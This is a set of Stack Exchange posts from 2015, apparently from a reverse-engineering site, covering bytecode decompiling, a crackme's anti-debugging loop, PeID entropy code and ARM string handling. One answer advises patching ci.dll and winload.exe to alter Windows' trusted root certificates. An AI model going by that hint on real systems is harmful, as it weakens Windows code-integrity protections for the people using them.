  <row Id="9249" PostTypeId="2" ParentId="9245" CreationDate="2015-06-29T08:08:45.880" Score="2" Body="&lt;p&gt;Thanks to response from Jongware who correctly identified this as reverse polish notation, which needed to be converted to &quot;infix&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested on some samples&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) A=B * C+D-E/F&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) A=B * C+D/E-F&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) A=B * (C+D)/E-F&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompiled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) A=(((B * C)+D)-(E/F))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) A=(((B * C)+(D/E))-F)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) A=(((B* (C+D))/E)-F)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this helps anyone else this is the prototype processing code in C#, which I've verified works correctly. This code needs further improvement, but it does work for this scenario described.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // instruction is a byte[] array containing the code to decode&#xA;    Stack&amp;lt;string&amp;gt; stack = new Stack&amp;lt;string&amp;gt;();&#xA;    string op;&#xA;    byte[] bit32=new byte[4];&#xA;    string result;&#xA;&#xA;    for (int i = 0; i &amp;lt; instruction.Length;i++ )&#xA;    {&#xA;        op=&quot;&quot;;&#xA;        switch (instruction[i])&#xA;        {&#xA;            case 0x22:&#xA;                op=&quot;&amp;gt;&quot;;&#xA;                i++;&#xA;                break;&#xA;            case 0x2B:&#xA;                op=&quot;&amp;lt;&quot;;&#xA;                i++;&#xA;                break;&#xA;            case 0x32:&#xA;                op=&quot;*&quot;;&#xA;                i++;&#xA;                break;&#xA;        case 0x01:&#xA;            op=&quot;+&quot;;&#xA;            i++;&#xA;            break;&#xA;        case 0x17:&#xA;            op=&quot;/&quot;;&#xA;            i++;&#xA;            break;&#xA;        case 0x55:&#xA;            op=&quot;-&quot;;&#xA;            i++;&#xA;            break;&#xA;        case 0x38:&#xA;            i++;&#xA;&#xA;            if (instruction[i]==0x40)&#xA;            {&#xA;                // builds the final result, and adds it to textboxDecompiledText&#xA;                i++;&#xA;                result = string.Format(&quot;{0}={1}&quot;, string.Format(&quot;S{0:X2}{1:X2}&quot;, instruction[i], instruction[i + 1]),&#xA;                stack.Pop());&#xA;&#xA;                i++;&#xA;&#xA;                textBoxDecompiled.Text += result;&#xA;                break;&#xA;&#xA;            }&#xA;            break;&#xA;        case 0x4B: // 1 byte integer&#xA;        case 0x48:&#xA;            i++;&#xA;            stack.Push(((int)instruction[i]).ToString());&#xA;            break;&#xA;        case 0x3D:&#xA;            i++;&#xA;            switch (instruction[i])&#xA;            {&#xA;                case 0x40: // variable&#xA;                    i++;&#xA;                    string currentVariable= string.Format(&quot;S{0:X2}{1:X2}&quot;, instruction[i], instruction[i + 1]);&#xA;                    stack.Push(currentVariable);&#xA;                    i += 1;&#xA;                    break;&#xA;                case 0x45: // 4 byte integer&#xA;                    i++;&#xA;                    Buffer.BlockCopy(instruction,i,bit32,0,4);&#xA;                    Array.Reverse(bit32);&#xA;                    int bit32result = BitConverter.ToInt32(instruction, 0);&#xA;                    stack.Push(bit32result.ToString());&#xA;                    i+=3;&#xA;                    break;&#xA;&#xA;&#xA;            }&#xA;            break;&#xA;&#xA;    }&#xA;&#xA;    // check if we have an operator&#xA;    if (!string.IsNullOrEmpty(op))&#xA;    {&#xA;        if (stack.Count &amp;gt;= 2)&#xA;        {&#xA;            string op2 = stack.Pop();&#xA;            string op1 = stack.Pop();&#xA;            stack.Push(string.Format(&quot;({0}{1}{2})&quot;, op1, op, op2));&#xA;        }&#xA;        else&#xA;        {&#xA;            // something wrong here!&#xA;            throw new InvalidOperationException();&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2015-06-29T08:08:45.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9251" PostTypeId="1" AcceptedAnswerId="9253" CreationDate="2015-06-29T14:03:32.350" Score="1" ViewCount="840" Body="&lt;p&gt;I am debugging some quiz program called &quot;abex crackme 1&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I execute this program without debugging, it shows a simple message box, which reads &quot;Make me think your HD is a CD-Rom&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I click OK button, it smoothly works without any problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I debug this program, I am getting into endless loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program code is like this:&#xA;First, it calls some function from dll to initialize something. But I think it doesn't matter now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, It pushes some parameters and calls WinAPI function &quot;MessageBox A&quot; (see below)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zKtOn.png&quot; alt=&quot;5th line is what i am referring to&quot;&gt;&#xA;When I tries to step over this Call instruction in ollydbg, a message box pops up. When I click OK button like i did, i can't escape some block of code(picture 2)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xepBg.png&quot; alt=&quot;Endless loop&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know why this is happening only when i am debugging.&lt;/p&gt;&#xA;" OwnerUserId="12901" LastActivityDate="2015-06-29T14:30:08.113" Title="Why do i get into endless loop in winapi when i am debugging?" Tags="|ollydbg|winapi|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9252" PostTypeId="2" ParentId="9243" CreationDate="2015-06-29T14:21:49.220" Score="2" Body="&lt;p&gt;Yes, you would need to patch &lt;code&gt;ci.dll&lt;/code&gt; (which contains the list of hardcoded Root CAs) and &lt;code&gt;winload.exe&lt;/code&gt; (which validates the integrity of &lt;code&gt;ci.dll&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find this discussed in &lt;a href=&quot;http://www.programdevelop.com/4608016/&quot; rel=&quot;nofollow&quot;&gt;http://www.programdevelop.com/4608016/&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-06-29T14:21:49.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9253" PostTypeId="2" ParentId="9251" CreationDate="2015-06-29T14:30:08.113" Score="3" Body="&lt;p&gt;Look closely at the code you're looping within: it uses the FS register in several places. Now, googling for &quot;windows FS register&quot; tells you that this holds the segment of the &lt;code&gt;TIB&lt;/code&gt; for &lt;em&gt;Thread Information Block&lt;/em&gt;. And the first entry in that block, at byte offset 0, has the address of the current &lt;code&gt;SEH&lt;/code&gt;, &lt;em&gt;Structured Exception Handler&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your code above is writing to that SEH, so it's reasonable to assume (as this is within ntdll.dll) that this is the part of the kernel that processes (possibly nested) exceptions. Seems that your application somehow detects the presence of a debugger, and sets up a bogus exception handler in that case. Probably this happens way before your &lt;code&gt;MessageBoxA&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd check the assembly code if there is any call to &lt;code&gt;IsDebuggerPresent&lt;/code&gt;. Or, maybe, it gets the address of the current PEB (Process Environment Block) at &lt;code&gt;[fs:0x30]&lt;/code&gt;, and reads the second byte of it, which is a &lt;code&gt;BeingDebugged&lt;/code&gt; flag. Probably your code uses some of these to check for a debugger, and does something to the exception handler in that case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, your sample may just set up an exception handler, then execute an 'illegal' instruction, like &lt;code&gt;sti&lt;/code&gt;, or access an unmapped memory location. This will raise the exception; but if you just single step your program, Olly won't know the exception is going to happen, so it places its temporary single-step-breakpoint at the wrong location. Try to remember the address where an exception happens when single stepping, and be careful to add a breakpoint on the exception handler the next time.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-06-29T14:30:08.113" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9254" PostTypeId="2" ParentId="2394" CreationDate="2015-06-29T14:33:24.123" Score="0" Body="&lt;p&gt;Adding to previous responses, you can copy attributes from another segment via a python script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       try:&#xA;            attributes = [&#xA;                SEGATTR_ALIGN,&#xA;                SEGATTR_PERM,&#xA;                SEGATTR_BITNESS,&#xA;                SEGATTR_FLAGS,&#xA;                SEGATTR_SEL,&#xA;                SEGATTR_TYPE&#xA;            ]&#xA;&#xA;            from_seg_ea = list(Segments())[SegByName(attrs_from)]&#xA;            if from_seg_ea == BADADDR:&#xA;                print &quot;Error in copying attributes&quot;&#xA;&#xA;            for attr in attributes:&#xA;                SetSegmentAttr(startea,&#xA;                               attr,&#xA;                               GetSegmentAttr(from_seg_ea, attr))&#xA;        except Exception as e:&#xA;            print e&#xA;            SegDelete(startea, 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;@startea is the start address of your segment,&#xA;@attrs_from is a string representing the segment you want to copy attributes from (e.g., &quot;.text&quot;)&lt;/p&gt;&#xA;" OwnerUserId="12902" LastActivityDate="2015-06-29T14:33:24.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9255" PostTypeId="1" CreationDate="2015-06-29T18:02:32.430" Score="1" ViewCount="2534" Body="&lt;p&gt;I'm curious about the entropy field value that shows up when a binary is dropped into PeID. Does someone know how it arrives upon this value?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-06-30T20:03:43.973" Title="How does PeID calculate entropy?" Tags="|obfuscation|entropy|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9256" PostTypeId="2" ParentId="9255" CreationDate="2015-06-29T20:51:44.893" Score="1" Body="&lt;p&gt;You'd have to ask the creator of PeID which algorithm he uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard formula for this is the &lt;a href=&quot;https://en.wikipedia.org/wiki/Entropy_(information_theory)&quot; rel=&quot;nofollow&quot;&gt;Shannon formula&lt;/a&gt;: H(x) = - sum i=1 to n p(i)*log2(p(i)).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Why can't i use LaTeX here?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easy way to determine the entropy of a file is trying to compress it, using one of the standard compression Tools. Low entropies lead to better compression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Especially when you try to determine which sections are code and which are data, the compression test is a better indicator. The original shannon formula does not take into account if there are combinations of multiple bytes that occur often (like the push/pop sequences of function starts/ends), but compression algorithms recognize those.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-06-29T20:51:44.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9257" PostTypeId="2" ParentId="9255" CreationDate="2015-06-29T21:44:20.197" Score="4" Body="&lt;p&gt;This is exactly a problem I dealt with several years ago because we also wanted to implement a close-as-possible solution for a project formerly based on PeID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately, in those days I found an old discussion in the PeID forum where someone asked the same question and got some hints from the author (not the exact code). I still have the link, but the entire site has ceased to exist :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those days I managed to re-implement a version of that algorithm which yielded the same values most of the time. The core points of original PeID's entropy implementation are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It indeed uses the (Order-0) Shannon formula (see Guntrams hint) as core algorithm&lt;/li&gt;&#xA;&lt;li&gt;Such an entropy is calculated for each PE section independently&lt;/li&gt;&#xA;&lt;li&gt;use the raw size of each PE section (i.e. size on disk) as starting point for the data amount, then subtract all 0-Bytes at the very end from this value before calculating the Shannon entropy.&lt;/li&gt;&#xA;&lt;li&gt;sections may be ignored in the further calculation if following conditions apply:&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;the section is the resource section&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;no (remaining) data in the section (after null byte subtraction)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;the overall entropy is built by a weighted combination of all single section entropy values based on their (effective) lengths.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This way you should be able to get very similar results. But expect deviations in non-standard samples (e.g. corruped/tampered PE files), i.e. you should expect and handle cases like implausible section sizes or files where all sections are excluded from the calculation...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps a bit and you can now successfully try this yourself... ;)&lt;/p&gt;&#xA;" OwnerUserId="11559" LastActivityDate="2015-06-29T21:44:20.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9258" PostTypeId="2" ParentId="9255" CreationDate="2015-06-29T22:22:58.370" Score="1" Body="&lt;p&gt;a generic entropy calculation looks like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;create a histogram of the contents of the binary &#xA;max 256 different bytes (0x0..0xff)&lt;br&gt;&#xA;calculate (log base 2 of probability of each byte  multiplied by its count)&#xA;add them all up and divide by filesize&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&lt;h3&gt;&lt;em&gt;byte   count freq?        log&lt;sub&gt;2&lt;/sub&gt;&lt;/em&gt; * count&lt;/h3&gt;&#xA;0x00     100   (100/filesize)     log&lt;sub&gt;2&lt;/sub&gt;(freq[0]?)*count   &#xA;0x01     045   (045/filesize)     log&lt;sub&gt;2&lt;/sub&gt;(freq[1]?)*count    &#xA;................................................    &#xA;0xfe     020   (020/filesize)     log&lt;sub&gt;2&lt;/sub&gt;(freq[0xfe]?)*count    &#xA;0xff     180   (180/filesize)     log&lt;sub&gt;2&lt;/sub&gt;(freq[0xfF]?)*count &#xA;&lt;h2&gt;entropy =            ^sum(0x0..0xff)^/filesize       &lt;/h2&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;a sample code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;math.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;int main (int argc,char *argv[]) {&#xA;  if(argc !=2 ){ printf (&quot;usage %s file&quot;,argv[0]);return 0;}&#xA;  FILE * fp = 0;errno_t err = 0; unsigned long fsize = 0; float ent =0;&#xA;  if (((err = fopen_s(&amp;fp,argv[1],&quot;rb&quot;)) == 0)  &amp;&amp; (fp !=0)){&#xA;    fseek(fp,0,SEEK_END);&#xA;    fsize = ftell(fp);&#xA;    fseek(fp,0,SEEK_SET);&#xA;    unsigned char * buff = (unsigned char *)calloc(fsize,sizeof(char));&#xA;    if(buff){&#xA;      fread(buff,fsize,sizeof(char),fp);&#xA;      fclose(fp);&#xA;      unsigned long hist[256]= {0};&#xA;      for(unsigned int i =0; i &amp;lt; fsize; i++){&#xA;        hist[buff[i]]++;        &#xA;      }&#xA;      for(unsigned int i=0;i&amp;lt;256;i++){//log b2 (n) = loge(n)/loge(2)&#xA;        ent+=((log((float)hist[i]/fsize)/log((float)2))*hist[i]);&#xA;      }&#xA;      printf(&quot;%f\n&quot;,-ent/fsize);&#xA;      free(buff);&#xA;    }    &#xA;  }   &#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;result&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;:\&gt;ls -l *&#xA;-rw-rw-rw-  1 Admin 0 867 2015-06-30 03:30 entropy.cpp &#xA;&#xA;:\&gt;..\compile.bat    &#xA;:\&gt;if &quot;C:\Program Files\Microsoft Visual Studio 10.0\VC\&quot; == &quot;&quot; ()    &#xA;:\&gt;cl /Zi /EHsc /nologo /W4 /analyze *.cpp /link /RELEASE&#xA;entropy.cpp  &#xA;&#xA;:\&gt;ls -l *&#xA;-rw-rw-rw-  1 Admin 0     867 2015-06-30 03:30 entropy.cpp&#xA;-rwxrwxrwx  1 Admin 0  135680 2015-06-30 03:32 entropy.exe&#xA;-rw-rw-rw-  1 Admin 0    5804 2015-06-30 03:32 entropy.obj&#xA;-rw-rw-rw-  1 Admin 0 1297408 2015-06-30 03:32 entropy.pdb&#xA;-rw-rw-rw-  1 Admin 0   53248 2015-06-30 03:32 vc100.pdb    &#xA;&#xA;&lt;h2&gt;:\&gt;entropy.exe entropy.exe&#xA;6.577609 &lt;/h2&gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;was tinkering with powershell and these two lines of script will calculate the same entropy as the c code above&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;PS &gt; cat .\entropy.ps1&#xA;$s=($f=gc -Encoding Byte $args)|measure;$g=$f|group -AsHashTable&#xA; 0..255|%{ $e+=(((([math]::Log( $g[$_].count / $s.count)) /&#xA;                    [math]::Log(2.0)) * $g[$_].count)/$s.count)};-$e&#xA;PS &gt; .\entropy.ps1 .\entropy.exe&#xA;&lt;h1&gt;6.57760952796101&lt;/h1&gt;&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-06-30T20:03:43.973" LastActivityDate="2015-06-30T20:03:43.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9259" PostTypeId="1" AcceptedAnswerId="9260" CreationDate="2015-06-30T05:36:05.397" Score="0" ViewCount="402" Body="&lt;p&gt;I am very new to the reverse engineering but I am trying to create objective-c code from an ARM assembly for iOS. I have come a very long way but now I am stuck at a point. Can anyone please tell me what the following code means (taken from IDA pro):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__text:0050F428                 PUSH            {R4-R7,LR}&#xA;__text:0050F42A                 ADD             R7, SP, #0xC&#xA;__text:0050F42C                 PUSH.W          {R8,R10,R11}&#xA;&#xA;__text:0050F430                 MOVW            R2, #(:lower16:(aNNYnnQsJNFsQFs - 0x50F440)) ; &quot;¦;(+;¡+\r\r+¡(;\r|Y¡¡+ƒs+j¦\r¡¦+;¦fs+¦+&quot;...&#xA;&#xA;__text:0050F434                 MOVS            R1, #0&#xA;&#xA;__text:0050F436                 MOVT.W          R2, #(:upper16:(aNNYnnQsJNFsQFs - 0x50F440)) ; &quot;¦;(+;¡+\r\r+¡(;\r|Y¡¡+ƒs+j¦\r¡¦+;¦fs+¦+&quot;...&#xA;&#xA;__text:0050F43A                 MOVS            R3, #0x36&#xA;&#xA;__text:0050F43C                 ADD             R2, PC  ; &quot;¦;(+;¡+\r\r+¡(;\r|Y¡¡+ƒs+j¦\r¡¦+;¦fs+¦+&quot;...&#xA;&#xA;__text:0050F43E                 MOV.W           R9, #0x32&#xA;&#xA;__text:0050F442                 MOV.W           R12, #0x65&#xA;&#xA;__text:0050F446                 MOV.W           LR, #0x39&#xA;&#xA;__text:0050F44A                 MOVS            R4, #0x62&#xA;&#xA;__text:0050F44C                 MOV.W           R10, #0x34&#xA;&#xA;__text:0050F450                 MOV.W           R11, #0x64&#xA;&#xA;__text:0050F454                 MOVS            R6, #0x31&#xA;&#xA;__text:0050F456 loc_50F456                              ; CODE XREF: sub_50F428+154j&#xA;&#xA;__text:0050F456                 LDRB.W          R8, [R2,R1]&#xA;&#xA;__text:0050F45A                 STRB.W          R8, [R0,R1]&#xA;&#xA;__text:0050F45E                 CMP.W           R8, #0x3A&#xA;&#xA;__text:0050F462                 BGT             loc_50F46E&#xA;&#xA;__text:0050F464                 CMP.W           R8, #0xD&#xA;&#xA;__text:0050F468                 IT EQ&#xA;&#xA;__text:0050F46A                 STREQB          R3, [R0,R1]&#xA;&#xA;__text:0050F46C                 B               loc_50F578 ; jumptable 0050F522 default case&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Pseudocode from Hopper is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r2 = &quot;&quot;\\xB1;\\xF4\\xB8;\\xAD\\xBB\\r\\r\\xB8\\xAD\\xF4;\\r|Y\\xAD\\xAD\\xB8\\x9Fs\\xBBj\\xB2\\r\\xAD\\xB3\\xD8;\\xB3fs\\xD8\\xB2\\xB8\\xD8\\x9F\\xF4fs|Yj\\xBBY\\xD8\\xBB\\xF4\\xF4\\xB1j\\xB1\\xAD\\xF4f\\xAD\\xB1\\xD8Y;\\xB8\\xF4\\xBB\\xF4&quot;;&quot;&#xA;&#xA;r8 = *(r2 + r1);&#xA;*(r0 + r1) = r8;&#xA;if (r8 &amp;gt; 0x3a) goto loc_50f46e;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I fail to understand is the type of the variable the whose value will be loaded in r2 register. If r2 contains a hex string then should i convert it to NSData? When the comparison is being done with 0x3A, what does that mean? Are they comparing the size of the data to 0x3A (58 in decimal i suppose).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this is very naive. As I said I am new and trying to learn.&lt;/p&gt;&#xA;" OwnerUserId="12905" LastActivityDate="2015-06-30T08:24:58.020" Title="Figure out the objective-c code from this snipette" Tags="|ida|ios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9260" PostTypeId="2" ParentId="9259" CreationDate="2015-06-30T08:24:58.020" Score="1" Body="&lt;p&gt;You have to see the three instructions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOVW            R2, #(:lower16:(aNNYnnQsJNFsQFs - 0x50F440)) ; &quot;¦;(+;¡+\r\r+¡(;\r|Y¡¡+ƒs+j¦\r¡¦+;¦fs+¦+&quot;...&#xA;MOVT.W          R2, #(:upper16:(aNNYnnQsJNFsQFs - 0x50F440)) ; &quot;¦;(+;¡+\r\r+¡(;\r|Y¡¡+ƒs+j¦\r¡¦+;¦fs+¦+&quot;...&#xA;ADD             R2, PC  ; &quot;¦;(+;¡+\r\r+¡(;\r|Y¡¡+ƒs+j¦\r¡¦+;¦fs+¦+&quot;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;together. The &lt;code&gt;MOVW&lt;/code&gt; and &lt;code&gt;MOVT.W&lt;/code&gt; load the relative address of a string into &lt;code&gt;R2&lt;/code&gt;; adding &lt;code&gt;PC&lt;/code&gt; to it is the standard way on ARM to make code - and data - location-independent so the loader doesn't have to adjust to the load address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, these instructions make &lt;code&gt;R2&lt;/code&gt; point to the string '|;(+;......'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that &lt;code&gt;R1&lt;/code&gt; gets initialized to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At &lt;code&gt;loc_50F456&lt;/code&gt; - which i assume is a loop start - the instructions get one byte from the &lt;code&gt;R2&lt;/code&gt; string into &lt;code&gt;R8&lt;/code&gt;, and write the byte to another string at &lt;code&gt;R0&lt;/code&gt;. As &lt;code&gt;R0&lt;/code&gt; hasn't been initialized yet, it's probably a function parameter. Note that the &lt;code&gt;LDRB&lt;/code&gt; and the &lt;code&gt;STRB&lt;/code&gt; opcodes both index with &lt;code&gt;R1&lt;/code&gt; in addition to &lt;code&gt;R0&lt;/code&gt;. This is typical for a loop that copies from &lt;code&gt;R2&lt;/code&gt; to &lt;code&gt;R0&lt;/code&gt; with &lt;code&gt;R1&lt;/code&gt; being incremented each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, &lt;code&gt;R8&lt;/code&gt; still holds the byte from the &lt;code&gt;R2&lt;/code&gt; string. Comparing it to &lt;code&gt;0x3A&lt;/code&gt; means comparing it to 58 decimal, yes. But as the byte originates in a string, which consists of ASCII characters, you should look up the ASCII character for &lt;code&gt;0x3A&lt;/code&gt;, which is &lt;code&gt;:&lt;/code&gt;. So the &lt;code&gt;BGT&lt;/code&gt; is done on any character 'greater' than that, which includes letters and some punctuation, but doesn't include numbers. And next, the code compares the character to &lt;code&gt;0x0D&lt;/code&gt; - carriage return - which is &lt;code&gt;\r&lt;/code&gt;, and occurs several times in your string. If it &lt;em&gt;is&lt;/em&gt; &lt;code&gt;\r&lt;/code&gt;, it gets replaced with the value from &lt;code&gt;R3&lt;/code&gt;, which has been initialized to &lt;code&gt;0x36&lt;/code&gt; earlier, which is the ASCII digit &lt;code&gt;6&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At &lt;code&gt;loc_50F46E&lt;/code&gt;, you'll probably have more code that mangles your letters somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to me like a part of a password checker, or serial number checker, where the password is encrypted in the code, so a simple &lt;code&gt;strings&lt;/code&gt; command doesn't reveal it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, if you're learning, it's often much easier to run this in a debugger, single-step, and check what each register contains after each step. In my experience, this helps you understand what's going on quicker than just glancing at the code, especially if you aren't familiar with what exactly each opcodes does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, don't rely on recompilation to C or something similar. Whatever a decompiler produces is an Approximation, and often one that doesn't resemble the original code very well. The C decompilation will allow you to understand code structure faster, once you're able to read assembly, but it will horribly confuse you if you don't understand the assembly and try to use it instead.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-06-30T08:24:58.020" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9262" PostTypeId="1" AcceptedAnswerId="9263" CreationDate="2015-06-30T19:00:09.463" Score="0" ViewCount="73" Body="&lt;p&gt;Is there website where you can submit an executable and it will run it through strings and give you the output?&lt;/p&gt;&#xA;" OwnerUserId="12909" LastActivityDate="2015-06-30T19:11:38.333" Title="Is there a website that hosts the strings application?" Tags="|strings|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9263" PostTypeId="2" ParentId="9262" CreationDate="2015-06-30T19:11:38.333" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://www.fileformat.info/tool/strings.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.fileformat.info/tool/strings.htm&lt;/a&gt;&#xA;​​​​​​​​​​​​​​​​​​​​​​​​​​​​​&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-06-30T19:11:38.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9264" PostTypeId="2" ParentId="6125" CreationDate="2015-07-01T04:38:11.140" Score="3" Body="&lt;p&gt;I tried to decode the &quot;AlphaNumeric&quot; string for each movie in the Top 250 Chart. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like they replaced the padding symbol (they use '@' instead of '=') but, once I restored the padding, every decoded string had the same format you reported before (I will use commas, instead of '^A', as field separators): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1, [numeric value], 2, jpg, me + [numeric value]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I failed to identify any relationships between those numeric fields and the movie IDs, but here is some code for those willing to try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import requests&#xA;import re&#xA;from lxml.etree import HTML&#xA;from matplotlib import pyplot as plt&#xA;import numpy&#xA;&#xA;request = requests.get('http://www.imdb.com/chart/top?ref_=nv_ch_250_4')&#xA;tree = HTML(request.text)&#xA;path = './/*[@id=&quot;main&quot;]/div/div[2]/table/tbody/tr/td[@class=&quot;posterColumn&quot;]/a'&#xA;data = numpy.zeros(shape=(250, 3))&#xA;row = 0&#xA;for td in tree.findall(path):&#xA;    movie_id = re.findall('tt(\d*)/', td.attrib['href'])&#xA;    img = re.findall('M/(.*)\._V', td.find('./img').attrib['src'])&#xA;    img_decoded = img.pop().replace('@', '=').decode('base64')&#xA;    img_field_1 = re.findall('\^A(\d*)\^A', img_decoded)&#xA;    img_field_2 = re.findall('me(\d*)', img_decoded)&#xA;    data[row] = movie_id.pop(), img_field_1.pop(), img_field_2.pop()&#xA;    row += 1&#xA;&#xA;fig, (ax1, ax2) = plt.subplots(2, 1, sharex=True)&#xA;ax1.scatter(data[:, 0], data[:, 1])  # movie_id vs. img_field_1&#xA;ax2.scatter(data[:, 0], data[:, 2])  # movie_id vs. img_field_2&#xA;ax1.xaxis.get_major_formatter().set_powerlimits((0, 1))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a small plot showing both decoded fields vs. movie IDs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OFIii.png&quot; alt=&quot;Decoded fields vs. Movie IDs&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12873" LastActivityDate="2015-07-01T04:38:11.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
